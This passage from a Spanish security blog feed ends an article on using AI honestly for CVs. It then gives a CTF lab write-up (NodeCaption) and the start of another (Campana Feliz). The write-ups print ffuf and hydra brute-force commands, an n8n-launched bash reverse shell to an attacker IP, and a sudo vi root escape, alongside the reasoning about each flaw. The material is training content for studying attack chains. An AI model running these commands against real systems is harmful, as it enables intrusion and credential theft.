&lt;p&gt;Por otro lado están los modelos generativos como ChatGPT o Claude. Son más útiles para reformular logros, condensar experiencia, limpiar redacción o convertir descripciones pobres en mensajes más claros.&lt;/p&gt;
&lt;p&gt;Y luego están las herramientas de maquetación o plantillas inteligentes. Aquí conviene ir con cuidado. Muchas generan documentos visualmente atractivos pero técnicamente malos. Columnas, barras, iconos y diseños que un ATS interpreta mal o directamente no interpreta.&lt;/p&gt;
&lt;p&gt;Un CV no tiene que parecer creativo. Tiene que poder leerse bien y transmitir valor con claridad.&lt;/p&gt;
&lt;h2&gt;El proceso que sí funciona&lt;/h2&gt;
&lt;p&gt;La mayoría empieza mal. Le piden a la IA que reescriba el CV entero y esperan que eso arregle el problema.&lt;/p&gt;
&lt;p&gt;No funciona así.&lt;/p&gt;
&lt;p&gt;Primero necesitas diagnóstico. Después corrección. Luego mejora de redacción.&lt;/p&gt;
&lt;p&gt;Empieza revisando la estructura. Si tu CV tiene tablas, varias columnas, textos incrustados en imágenes o nombres de secciones poco claros, eso hay que resolverlo antes de hablar de contenido. Si el sistema no puede leerlo bien, todo lo demás importa menos.&lt;/p&gt;
&lt;p&gt;Después revisa el lenguaje frente a una oferta concreta. Compara cómo describes tu experiencia con cómo la describe el mercado. Si una vacante habla de observabilidad, automatización operativa o gestión de incidencias y tú usas frases vagas, probablemente estás perdiendo señal útil. No se trata de mentir. Se trata de nombrar bien lo que sí has hecho.&lt;/p&gt;
&lt;p&gt;Luego llega la parte donde la IA puede aportar bastante. Reformular experiencia con foco en impacto. Muchas personas describen tareas. Pocas explican resultado. No es lo mismo escribir que gestionabas despliegues que explicar que automatizaste despliegues y redujiste errores manuales en entornos críticos. La IA puede ayudarte a pasar de actividad a impacto, siempre que la base sea tuya.&lt;/p&gt;
&lt;p&gt;Cuando termines una ronda de cambios, vuelve a revisar el documento. El objetivo no es dejarlo bonito. El objetivo es que sea más claro, más coherente y más alineado con el puesto al que apuntas.&lt;/p&gt;
&lt;p&gt;Y al final pasa el filtro más importante. Una lectura humana con criterio. Un colega serio, alguien de tu sector o alguien que contrate perfiles parecidos al tuyo verá problemas que una IA no ve.&lt;/p&gt;
&lt;h2&gt;Cómo usar IA generativa sin degradar tu CV&lt;/h2&gt;
&lt;p&gt;La IA funciona mejor cuando no le pides magia, sino tareas concretas.&lt;/p&gt;
&lt;p&gt;En el perfil profesional puede ayudarte a resumir experiencia, seniority, especialización y tipo de impacto en pocas líneas. Pero el primer borrador casi siempre sale demasiado plano o demasiado corporativo. Tu trabajo es corregirlo hasta que suene a una persona y no a un folleto.&lt;/p&gt;
&lt;p&gt;En la experiencia profesional puede ayudarte a transformar descripciones flojas en mensajes más sólidos. Por ejemplo, separar responsabilidad, contexto y resultado. Eso sí es útil. Lo que no sirve es dejar que invente métricas, hinche funciones o convierta un trabajo normal en una supuesta transformación estratégica.&lt;/p&gt;
&lt;p&gt;En la sección de habilidades también puede ser útil, sobre todo para comparar tu CV con varias ofertas y detectar términos repetidos. Pero aquí hay una regla simple. Si no puedes defender una habilidad en entrevista, no la pongas.&lt;/p&gt;
&lt;h2&gt;Dónde más tiempo te puede ahorrar&lt;/h2&gt;
&lt;p&gt;La carta de presentación es uno de los mejores sitios para usar IA sin demasiada fricción.&lt;/p&gt;
&lt;p&gt;No porque la IA escriba mejor que tú, sino porque evita empezar de cero cada vez. Le puedes dar tu experiencia, la oferta y el contexto de la empresa, y pedirle un borrador razonable. Después tú corriges tono, prioridad y contenido.&lt;/p&gt;
&lt;p&gt;Eso sí. Si el texto sirve para cualquier empresa, entonces no sirve para ninguna. La personalización sigue dependiendo de ti.&lt;/p&gt;
&lt;h2&gt;Lo que no debes hacer&lt;/h2&gt;
&lt;p&gt;No dejes que la IA invente experiencia, responsabilidades, herramientas ni resultados. Eso no es optimización. Eso es falsificación.&lt;/p&gt;
&lt;p&gt;No metas porcentajes si no sabes de dónde salen. No pongas tecnologías que apenas has tocado. No conviertas tareas rutinarias en supuestas iniciativas de alto impacto si luego no puedes sostenerlo en una entrevista técnica.&lt;/p&gt;
&lt;p&gt;Y sobre todo, no entregues un CV que suene igual que miles de CV generados con el mismo prompt.&lt;/p&gt;
&lt;p&gt;En 2026 el acceso a estas herramientas ya no diferencia a nadie. Lo que diferencia es el criterio con el que las usas.&lt;/p&gt;
&lt;h2&gt;El objetivo&lt;/h2&gt;
&lt;p&gt;La IA no debería convertir tu CV en algo más impresionante. Debería ayudarte a que sea más preciso, más legible y más eficaz.&lt;/p&gt;
&lt;p&gt;Ese es el punto.&lt;/p&gt;
&lt;p&gt;Un buen CV no promete lo que no eres. Explica mejor lo que sí sabes hacer. Si la IA te ayuda a detectar carencias, limpiar redacción y alinear mejor tu experiencia con el mercado, úsala. Si convierte tu historial profesional en texto genérico, te está perjudicando.&lt;/p&gt;
&lt;p&gt;Tu currículum no necesita parecer escrito por una máquina. Necesita parecer sólido, claro y creíble.&lt;/p&gt;
</content:encoded><author>Oscar</author></item><item><title>NodeCaption: automatización expuesta, credenciales reutilizadas y ejecución remota en Linux</title><link>https://blog.oscarai.tech/posts/nodecaption-automatizaci%C3%B3n-expuesta-credenciales-reutilizadas-y-ejecuci%C3%B3n-remota-en-linux</link><guid isPermaLink="true">https://blog.oscarai.tech/posts/nodecaption-automatizaci%C3%B3n-expuesta-credenciales-reutilizadas-y-ejecuci%C3%B3n-remota-en-linux</guid><pubDate>Fri, 13 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Autor:&lt;/strong&gt; Oscar | &lt;strong&gt;Senior Platform Engineer / SRE&lt;/strong&gt;&lt;br /&gt;
&lt;strong&gt;Dificultad:&lt;/strong&gt; intermedio | &lt;strong&gt;SO:&lt;/strong&gt; Linux&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;Sobre este CTF&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;NodeCaption&lt;/strong&gt; es una máquina que diseñé para representar una cadena de compromiso basada en varios errores muy concretos: exposición innecesaria de servicios, filtrado de información útil en contenido web, reutilización de credenciales y abuso de herramientas de automatización con capacidad de ejecución sobre el sistema.&lt;/p&gt;
&lt;p&gt;No hace falta una vulnerabilidad sofisticada para comprometer un host si la superficie expuesta está mal pensada. Cuando una aplicación web revela información útil, el acceso al panel se protege mal y una plataforma como n8n permite ejecutar comandos, la distancia entre autenticación débil y control total del sistema se reduce mucho.&lt;/p&gt;
&lt;p&gt;En esta entrada muestro la resolución completa, desde la enumeración inicial hasta la obtención de &lt;code&gt;root&lt;/code&gt;, explicando qué representa cada fase y por qué esta cadena tiene sentido fuera del laboratorio.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Información técnica&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Campo&lt;/th&gt;
&lt;th&gt;Valor&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Nombre&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;NodeCaption&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;IP objetivo&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;192.168.0.115&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Servicios&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;SSH (22), n8n (5678), Apache (8765)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vectores principales&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;comentario HTML → login web → reutilización de credenciales en n8n → &lt;code&gt;Execute Command&lt;/code&gt; → reverse shell → &lt;code&gt;sudo vi&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Dificultad&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;intermedio&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Reconocimiento&lt;/h2&gt;
&lt;h3&gt;Enumeración inicial&lt;/h3&gt;
&lt;p&gt;El primer paso fue identificar los servicios expuestos por la máquina. A partir de la enumeración inicial se detectaron tres puertos relevantes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;22/tcp&lt;/strong&gt; → SSH&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;5678/tcp&lt;/strong&gt; → servicio HTTP correspondiente a &lt;strong&gt;n8n&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;8765/tcp&lt;/strong&gt; → servidor &lt;strong&gt;Apache&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Con esa superficie identificada, el foco pasa a las dos aplicaciones web, ya que son las que pueden ofrecer tanto información como una vía de acceso inicial.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Exploración web&lt;/h2&gt;
&lt;h3&gt;Puerto 8765 — Apache&lt;/h3&gt;
&lt;p&gt;Accedemos al servicio Apache expuesto en el puerto &lt;code&gt;8765&lt;/code&gt; y revisamos el código fuente de la página principal.&lt;/p&gt;
&lt;p&gt;Allí aparece un comentario especialmente útil:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- usuario@maildelctf.com  
Recuerda: mínimo 8 caracteres, 1 número y 1 mayúscula --&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Comentario&lt;/h3&gt;
&lt;p&gt;Ese comentario es el primer error serio del escenario.&lt;/p&gt;
&lt;p&gt;No contiene una contraseña, pero sí entrega dos piezas muy valiosas:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;un &lt;strong&gt;usuario válido&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;una &lt;strong&gt;pista directa sobre la política mínima de contraseña&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Eso no rompe el sistema por sí solo, pero sí reduce de forma importante el espacio de búsqueda y convierte el proceso de autenticación en un objetivo mucho más abordable.&lt;/p&gt;
&lt;h3&gt;Fuzzing de rutas&lt;/h3&gt;
&lt;p&gt;Con el objetivo de localizar un panel de autenticación, realizamos fuzzing de directorios sobre el puerto &lt;code&gt;8765&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gobuster dir -u http://192.168.0.115:8765 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x php,html,txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Como resultado, localizamos el endpoint:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;login.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ese recurso presenta un formulario de autenticación basado en correo y contraseña.&lt;/p&gt;
&lt;h3&gt;Análisis&lt;/h3&gt;
&lt;p&gt;La cadena empieza a quedar clara:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Apache expone una página aparentemente inocua&lt;/li&gt;
&lt;li&gt;el HTML filtra un correo válido y una política de contraseña&lt;/li&gt;
&lt;li&gt;el mismo sitio contiene un formulario de login en &lt;code&gt;login.php&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Esto ya no es solo filtración de información. Es una preparación bastante directa para un ataque de credenciales.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Acceso inicial&lt;/h2&gt;
&lt;h3&gt;Fuerza bruta contra &lt;code&gt;login.php&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Con el correo obtenido desde el comentario HTML, realizamos un ataque de fuerza bruta contra el formulario web:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -w /usr/share/wordlists/rockyou.txt -X POST -d &quot;email=usuario@maildelctf.com&amp;amp;password=FUZZ&quot; -u http://192.168.0.115:8765/login.php -H &quot;Content-Type: application/x-www-form-urlencoded&quot; -mc all -fs 1808
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Este ataque permite identificar una contraseña válida para el usuario &lt;code&gt;usuario@maildelctf.com&lt;/code&gt;, obteniendo acceso correcto al panel web.&lt;/p&gt;
&lt;h3&gt;Comentario&lt;/h3&gt;
&lt;p&gt;Aquí no hay bypass de autenticación ni ninguna magia. Lo que hay es una mala combinación de factores:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;usuario expuesto en el código fuente&lt;/li&gt;
&lt;li&gt;pista sobre los requisitos de contraseña&lt;/li&gt;
&lt;li&gt;formulario accesible públicamente&lt;/li&gt;
&lt;li&gt;ausencia de controles eficaces frente a intentos automatizados&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Es una cadena muy simple, pero perfectamente plausible fuera de un laboratorio.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Reutilización de credenciales&lt;/h2&gt;
&lt;p&gt;Una vez obtenidas las credenciales válidas en el panel del puerto &lt;code&gt;8765&lt;/code&gt;, probamos si esas mismas credenciales se reutilizan en la instancia de &lt;strong&gt;n8n&lt;/strong&gt; expuesta en el puerto &lt;code&gt;5678&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;La autenticación funciona correctamente.&lt;/p&gt;
&lt;h3&gt;Análisis&lt;/h3&gt;
&lt;p&gt;Este paso representa una mala práctica muy concreta y muy habitual: &lt;strong&gt;reutilización de credenciales entre aplicaciones distintas&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;No hace falta comprometer dos sistemas diferentes si ambos dependen del mismo secreto. En este caso, la misma credencial abre la puerta al panel de automatización, que tiene un impacto mucho mayor sobre el host.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Ejecución remota de comandos en n8n&lt;/h2&gt;
&lt;h3&gt;Creación de un workflow malicioso&lt;/h3&gt;
&lt;p&gt;Una vez dentro del panel de n8n, creamos un workflow con un nodo &lt;strong&gt;&lt;code&gt;Execute Command&lt;/code&gt;&lt;/strong&gt;, lo que nos permite ejecutar comandos directamente sobre el sistema.&lt;/p&gt;
&lt;p&gt;Aprovechando esa capacidad, configuramos una reverse shell hacia nuestra máquina atacante:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bash -c &apos;bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.0.109/4444 0&amp;gt;&amp;amp;1&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;En el equipo atacante preparamos el listener:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nc -nlvp 4444
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Después ejecutamos el workflow desde n8n y recibimos conexión.&lt;/p&gt;
&lt;p&gt;Resultado: shell interactiva obtenida como usuario &lt;code&gt;thl&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Comentario&lt;/h3&gt;
&lt;p&gt;Este es el núcleo técnico del laboratorio.&lt;/p&gt;
&lt;p&gt;n8n no es inseguro por definición. El problema aparece cuando una plataforma con capacidad de orquestación y ejecución queda expuesta a credenciales débiles o reutilizadas. En ese momento deja de ser una herramienta de automatización y se convierte en una superficie directa de ejecución remota.&lt;/p&gt;
&lt;p&gt;Aquí el error no es una CVE. Es una decisión de diseño y operación.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Acceso inicial al sistema&lt;/h2&gt;
&lt;p&gt;Con la reverse shell ya activa, comprobamos el contexto actual y confirmamos que el acceso se obtiene como el usuario &lt;code&gt;thl&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;A partir de ahí, la resolución cambia de fase: ya no estamos buscando entrar en el sistema, sino convertir ese acceso en privilegios completos.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Escalada de privilegios&lt;/h2&gt;
&lt;h3&gt;Revisión de permisos sudo&lt;/h3&gt;
&lt;p&gt;Una vez dentro, enumeramos permisos sudo:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo -l
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;La revisión muestra que &lt;code&gt;vi&lt;/code&gt; puede ejecutarse con privilegios elevados, pero requiere contraseña debido a la configuración de &lt;code&gt;sudo&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Eso significa que la vía de escalada existe, pero todavía nos falta el secreto necesario para usarla.&lt;/p&gt;
&lt;h3&gt;Obtención de la contraseña de &lt;code&gt;thl&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Sabiendo que el servicio SSH estaba expuesto desde el principio, se lanza un ataque de fuerza bruta contra el usuario &lt;code&gt;thl&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hydra -l thl -P /usr/share/wordlists/rockyou.txt ssh://192.168.0.115
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Tras obtener una credencial válida, ya podemos iniciar sesión por SSH como &lt;code&gt;thl&lt;/code&gt; y disponer de la contraseña necesaria para operar con &lt;code&gt;sudo&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Escape a shell privilegiada con &lt;code&gt;vi&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Con la contraseña correcta, aprovechamos &lt;code&gt;vi&lt;/code&gt; como vector de escape siguiendo el comportamiento documentado en GTFOBins:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo vi -c &apos;:!/bin/sh&apos; /dev/null
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Resultado: shell con privilegios de &lt;code&gt;root&lt;/code&gt; y control total del sistema.&lt;/p&gt;
&lt;h3&gt;Análisis&lt;/h3&gt;
&lt;p&gt;La escalada final vuelve a reforzar la idea central de la máquina:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;un usuario comprometido no implica necesariamente privilegios completos&lt;/li&gt;
&lt;li&gt;pero si ese usuario tiene permisos sudo útiles y una contraseña reutilizable o débil, la escalada deja de ser complicada&lt;/li&gt;
&lt;li&gt;&lt;code&gt;vi&lt;/code&gt;, como otras herramientas interactivas, puede convertirse en una vía directa de shell privilegiada si se permite su ejecución como root&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;De nuevo, no hace falta un fallo raro. Basta con una delegación de privilegios mal planteada.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Notas del autor&lt;/h2&gt;
&lt;p&gt;Aunque &lt;strong&gt;NodeCaption&lt;/strong&gt; tiene varias fases, la máquina no está diseñada para premiar el ruido, sino para enseñar una secuencia concreta de errores encadenados:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Vector&lt;/th&gt;
&lt;th&gt;Lo que enseña&lt;/th&gt;
&lt;th&gt;Error real representado&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;comentario en HTML&lt;/td&gt;
&lt;td&gt;filtrado de información operativa&lt;/td&gt;
&lt;td&gt;datos útiles expuestos en contenido público&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;login.php&lt;/code&gt; accesible&lt;/td&gt;
&lt;td&gt;superficie de autenticación directa&lt;/td&gt;
&lt;td&gt;paneles publicados sin endurecimiento real&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;fuerza bruta sobre login web&lt;/td&gt;
&lt;td&gt;debilidad en credenciales&lt;/td&gt;
&lt;td&gt;contraseñas pobres o demasiado previsibles&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;reutilización en n8n&lt;/td&gt;
&lt;td&gt;dependencia de secretos compartidos&lt;/td&gt;
&lt;td&gt;mismas credenciales entre aplicaciones&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;nodo &lt;code&gt;Execute Command&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ejecución sobre el host&lt;/td&gt;
&lt;td&gt;automatizaciones con capacidad operativa excesiva&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;reverse shell desde n8n&lt;/td&gt;
&lt;td&gt;compromiso del sistema desde una plataforma legítima&lt;/td&gt;
&lt;td&gt;abuso de herramientas de automatización&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sudo vi&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;escalada local clásica&lt;/td&gt;
&lt;td&gt;privilegios mal delegados sobre binarios interactivos&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Lo importante de esta máquina no es solo llegar a &lt;code&gt;root&lt;/code&gt;. Lo importante es entender cómo una cadena de pequeñas malas decisiones termina convirtiendo una aplicación web expuesta y una plataforma de automatización en una puerta completa al sistema.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Recursos y referencias&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://nmap.org&quot;&gt;Nmap&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/OJ/gobuster&quot;&gt;Gobuster&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/ffuf/ffuf&quot;&gt;ffuf&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://n8n.io&quot;&gt;n8n&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/vanhauser-thc/thc-hydra&quot;&gt;Hydra&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://gtfobins.github.io&quot;&gt;GTFOBins&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
</content:encoded><author>Oscar</author></item><item><title>Campana Feliz: De una pista pública a Root por mala gestión de accesos</title><link>https://blog.oscarai.tech/posts/campana-feliz-de-una-pista-p%C3%BAblica-a-root-por-mala-gesti%C3%B3n-de-accesos</link><guid isPermaLink="true">https://blog.oscarai.tech/posts/campana-feliz-de-una-pista-p%C3%BAblica-a-root-por-mala-gesti%C3%B3n-de-accesos</guid><pubDate>Fri, 13 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Autor:&lt;/strong&gt; Oscar | &lt;strong&gt;Senior Platform Engineer / SRE&lt;/strong&gt;&lt;br /&gt;
&lt;strong&gt;Plataforma:&lt;/strong&gt; TheHackersLabs | &lt;strong&gt;Dificultad:&lt;/strong&gt; Principiante | &lt;strong&gt;SO:&lt;/strong&gt; Linux&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;Sobre este CTF&lt;/h2&gt;
&lt;p&gt;Este CTF lo diseñé para TheHackersLabs con una idea muy concreta: mostrar cómo una cadena de fallos pequeños, pistas mal protegidas y credenciales expuestas puede terminar en compromiso total del sistema.&lt;/p&gt;
&lt;p&gt;No es una máquina pensada para meter ruido ni para esconder la solución detrás de trucos absurdos. El objetivo es que quien la resuelva entienda algo importante: muchas intrusiones no empiezan con una vulnerabilidad sofisticada, sino con malas decisiones básicas en publicación de contenido, autenticación y administración.&lt;/p&gt;
&lt;p&gt;En este writeup explico la resolución completa de la máquina, desde el reconocimiento inicial hasta la obtención de acceso como &lt;code&gt;root&lt;/code&gt;, y dejo claro qué error representa cada paso dentro de un escenario realista.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Información técnica&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Campo&lt;/th&gt;
&lt;th&gt;Valor&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Nombre&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Campana Feliz&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;IP objetivo&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;10.10.10.37&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Servicios&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;SSH (22), HTTP (8088), Webmin (10000)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vectores principales&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;pistas en web → credenciales débiles → panel de comandos → Webmin&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Dificultad&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Principiante&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Reconocimiento&lt;/h2&gt;
&lt;h3&gt;Verificación de conectividad&lt;/h3&gt;
&lt;p&gt;Antes de enumerar servicios, comprobamos que la máquina responde en red desde nuestro entorno de trabajo.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ping -c 1 10.10.10.37
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Salida:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PING 10.10.10.37 (10.10.10.37) 56(84) bytes of data.
64 bytes from 10.10.10.37: icmp_seq=1 ttl=64 time=1.87 ms

--- 10.10.10.37 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 1.870/1.870/1.870/0.000 ms
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Conectividad confirmada. A partir de aquí ya podemos pasar a la enumeración de servicios.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Escaneo y enumeración&lt;/h2&gt;
&lt;p&gt;Para identificar puertos abiertos, versiones de servicios y pistas útiles, realizamos un escaneo completo con Nmap:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nmap -sVC -p- -T4 10.10.10.37
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Resultado:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PORT      STATE SERVICE               VERSION
22/tcp    open  ssh                   OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
8088/tcp  open  http                  Apache httpd 2.4.62 ((Debian))
10000/tcp open  ssl/snet-sensor-mgmt?
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=debian/countryName=US
| Subject Alternative Name: DNS:debian, DNS:localhost
| Not valid before: 2024-12-09T08:17:52
|_Not valid after:  2029-12-08T08:17:52
| fingerprint-strings:
|   GetRequest, HTTPOptions:
|     HTTP/1.0 200 Document follows
|     Server: MiniServ
|     Auth-type: auth-required=1
|     Set-Cookie: redirect=1; path=/; secure; httpOnly
|     Set-Cookie: testing=1; path=/; secure; httpOnly
|     X-Frame-Options: SAMEORIGIN
|     Content-type: text/html; Charset=UTF-8
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Análisis inicial&lt;/h3&gt;
&lt;p&gt;Este escaneo ya nos deja una ruta bastante clara:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Puerto 22:&lt;/strong&gt; SSH disponible, pero sin credenciales todavía.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Puerto 8088:&lt;/strong&gt; servidor web en Apache. Probable punto de entrada inicial.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Puerto 10000:&lt;/strong&gt; servicio &lt;code&gt;MiniServ&lt;/code&gt;, que encaja con una instalación de &lt;strong&gt;Webmin&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A nivel ofensivo, esto ya dibuja una posibilidad razonable: encontrar una credencial en la web y reutilizarla en otro servicio administrativo.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Revisión de los servicios web&lt;/h2&gt;
&lt;h3&gt;1. Sitio en el puerto 8088&lt;/h3&gt;
&lt;p&gt;Al revisar la web del puerto &lt;code&gt;8088&lt;/code&gt;, a simple vista no aparece nada especialmente sensible. Sin embargo, al inspeccionar su contenido se observan varios fragmentos codificados en Base64.&lt;/p&gt;
&lt;p&gt;Uno de ellos:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &quot;Q2FtcGFuYSBzb2JyZSBjYW1wYW5hCgpZIHNvYnJlIGNhbXBhbmEgdW5hCgpBc8OzbWF0ZSBhIGxhIHZlbnRhbmEKClZlcsOhcyBlbCBuacOxbyBlbiBsYSBjdW5hCg==&quot; | base64 -d
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Resultado:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Campana sobre campana

Y sobre campana una

Asómate a la ventana

Verás el niño en la cuna
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Otro fragmento:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &quot;Q2FtcGFuYSBDYW1wYW5hIENhTXBBTkEgQ2FNcGFOYQo=&quot; | base64 -d
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Resultado:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Campana Campana CaMpANA CaMpaNa
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Comentario&lt;/h3&gt;
&lt;p&gt;Aquí no hay una vulnerabilidad técnica compleja. Hay una mala práctica clara: dejar pistas semiescondidas que terminan exponiendo un posible nombre de usuario.&lt;/p&gt;
